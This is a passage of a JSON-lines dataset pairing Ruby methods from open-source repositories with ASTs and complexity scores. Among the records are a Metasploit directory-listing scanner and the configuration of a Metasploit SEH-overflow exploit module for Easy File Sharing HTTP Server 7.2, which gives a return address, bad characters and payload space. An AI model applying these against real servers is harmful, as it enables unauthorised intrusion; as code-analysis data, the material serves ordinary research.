_log.info(\"#{log_message_uniq_prefix} Complete - Added #{adds} / Deleted #{dels}\")\n end","complexity_score":72.05,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate_future_events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"log_message_uniq_prefix\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Generating future bottleneck events for: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last\",{\"type\":\"send\",\"children\":[null,\"last_created_on\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]},\"ago\"]},\"utc\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_message_uniq_prefix\"]}]},{\"type\":\"str\",\"children\":[\" Skipped, last creation [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last\"]}]},{\"type\":\"str\",\"children\":[\"] was less than 24 hours ago\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"dels\",{\"type\":\"send\",\"children\":[null,\"delete_future_events_for_obj\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"adds\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"future_event_definitions_for_obj\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"calculate_future_event\",{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"definition\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"calculation\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]},\"nil?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"definition\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"event\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"future=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"resource=\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"resource_name=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"timestamp=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"context_data=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"definition\"]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"message=\",{\"type\":\"send\",\"children\":[null,\"build_event_message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"context_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"save\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"adds\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_message_uniq_prefix\"]}]},{\"type\":\"str\",\"children\":[\" failed with '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_message_uniq_prefix\"]}]},{\"type\":\"str\",\"children\":[\" Complete - Added \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adds\"]}]},{\"type\":\"str\",\"children\":[\" / Deleted \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dels\"]}]}]}]}]}]}","id":"c5bdc409-8aff-43c3-b872-f72eabc1af48"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/widgets/milestone.rb","start_line":39,"raw_source":"def matching_milestone\n params = { project_ids: target_work_item.project&.id, group_ids: ancestors }\n milestone = by_id(params)\n\n return milestone if milestone.present?\n\n by_title(params)\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"matching_milestone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_ids\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_work_item\"]},\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_ids\"]},{\"type\":\"send\",\"children\":[null,\"ancestors\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"milestone\",{\"type\":\"send\",\"children\":[null,\"by_id\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"by_title\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"c15b34b4-95ca-422f-80d6-64896a80d8a7"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/dir_listing.rb","start_line":38,"raw_source":"def run_host(ip)\n tpath = normalize_uri(datastore['PATH'])\n if tpath[-1, 1] != '/'\n tpath += '/'\n end\n\n begin\n res = send_request_cgi({\n 'uri' => tpath,\n 'method' => 'GET',\n 'ctype'\t=> 'text/plain'\n }, 20)\n\n if (res and res.code >= 200 and res.code < 300)\n if res.to_s.include? \"Index of /\" and res.to_s.include? \"<h1>Index of /\"\n print_good(\"Found Directory Listing #{wmap_base_url}#{tpath}\")\n\n report_web_vuln(\n :host\t=> ip,\n :port\t=> rport,\n :vhost => vhost,\n :ssl => ssl,\n :path\t=> \"#{tpath}\",\n :method => 'GET',\n :pname => \"\",\n :proof => \"Res code: #{res.code.to_s}\",\n :risk => 0,\n :confidence => 100,\n :category => 'directory',\n :description => 'Directory found allowing listing of its contents.',\n :name => 'directory listing'\n )\n\n end\n\n if res.to_s.include? \"[To Parent Directory]</A>\" and res.to_s.include? \"#{tpath}</H1><hr>\"\n print_good(\"Found Directory Listing #{wmap_base_url}#{tpath}\")\n\n report_web_vuln(\n :host\t=> ip,\n :port\t=> rport,\n :vhost => vhost,\n :ssl => ssl,\n :path\t=> \"#{tpath}\",\n :method => 'GET',\n :pname => \"\",\n :proof => \"Res code: #{res.code.to_s}\",\n :risk => 0,\n :confidence => 100,\n :category => 'directory',\n :description => 'Directory found allowing listing of its contents.',\n :name => 'directory listing'\n )\n\n end\n\n else\n vprint_status(\"NOT Vulnerable to directory listing #{wmap_base_url}#{tpath}\")\n end\n rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n rescue ::Timeout::Error, ::Errno::EPIPE\n end\n end","complexity_score":75.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tpath\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tpath\"]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"tpath\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]}]},{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\">=\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"<\",{\"type\":\"int\",\"children\":[300]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"<title>Index of /\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"<h1>Index of /\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found Directory Listing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wmap_base_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_web_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vhost\"]},{\"type\":\"send\",\"children\":[null,\"vhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl\"]},{\"type\":\"send\",\"children\":[null,\"ssl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pname\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Res code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_s\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"directory\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Directory found allowing listing of its contents.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"directory listing\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"[To Parent Directory]</A>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]}]},{\"type\":\"str\",\"children\":[\"</H1><hr>\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found Directory Listing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wmap_base_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_web_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vhost\"]},{\"type\":\"send\",\"children\":[null,\"vhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl\"]},{\"type\":\"send\",\"children\":[null,\"ssl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pname\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Res code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_s\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"risk\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"directory\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Directory found allowing listing of its contents.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"directory listing\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"NOT Vulnerable to directory listing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wmap_base_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tpath\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},null,null]},null]}]}]}]}","id":"6a0b5c1b-dc2f-4f2d-a5f4-44356da15e55"} {"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":310,"raw_source":"def redirect(uri, *args)\n # SERVER_PROTOCOL is required in Rack 3, fall back to HTTP_VERSION\n # for servers not updated for Rack 3 (like Puma 5)\n http_version = env['SERVER_PROTOCOL'] || env['HTTP_VERSION']\n if (http_version == 'HTTP/1.1') && (env['REQUEST_METHOD'] != 'GET')\n status 303\n else\n status 302\n end\n\n # According to RFC 2616 section 14.30, \"the field value consists of a\n # single absolute URI\"\n response['Location'] = uri(uri.to_s, settings.absolute_redirects?, settings.prefixed_redirects?)\n halt(*args)\n end","complexity_score":27.05,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"http_version\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SERVER_PROTOCOL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_VERSION\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http_version\"]},\"==\",{\"type\":\"str\",\"children\":[\"HTTP/1.1\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REQUEST_METHOD\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"status\",{\"type\":\"int\",\"children\":[303]}]},{\"type\":\"send\",\"children\":[null,\"status\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Location\"]},{\"type\":\"send\",\"children\":[null,\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"absolute_redirects?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"prefixed_redirects?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"halt\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"6d496e61-b798-4f0c-8d00-641cb0586f09"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/easyfilesharing_seh.rb","start_line":12,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',\n 'Description' => %q{\n This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.\n },\n 'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2018-9059' ],\n [ 'EDB', '39008' ],\n ],\n 'Privileged' => true,\n 'Payload' => {\n 'Space' => 390,\n 'BadChars' => \"\\x00\\x7e\\x2b\\x26\\x3d\\x25\\x3a\\x22\\x0a\\x0d\\x20\\x2f\\x5c\\x2e\",\n 'StackAdjustment' => -3500,\n },\n 'Platform' => 'win',\n 'Targets' => [\n [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],\n ],\n 'DefaultOptions' => {\n 'RPORT' => 80\n },\n 'DisclosureDate' => '2015-12-02',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Easy File Sharing HTTP Server 7.2 SEH Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Starwarsfan2099 <starwarsfan2099[at]gmail.com>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2018-9059\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"39008\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[390]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000~+&=%:\\\"\\n\\r /\\\\.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Easy File Sharing 7.2 HTTP\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[268539800]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[80]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2015-12-02\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"d53c0ffa-b0d6-4abd-9945-5fe16ab780db"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/subforems_controller.rb","start_line":383,"raw_source":"def upload_subforem_image(image, image_type)\n SubforemImageUploader.new.tap do |uploader|\n uploader.set_image_type(image_type)\n uploader.store!(image)\n end\n 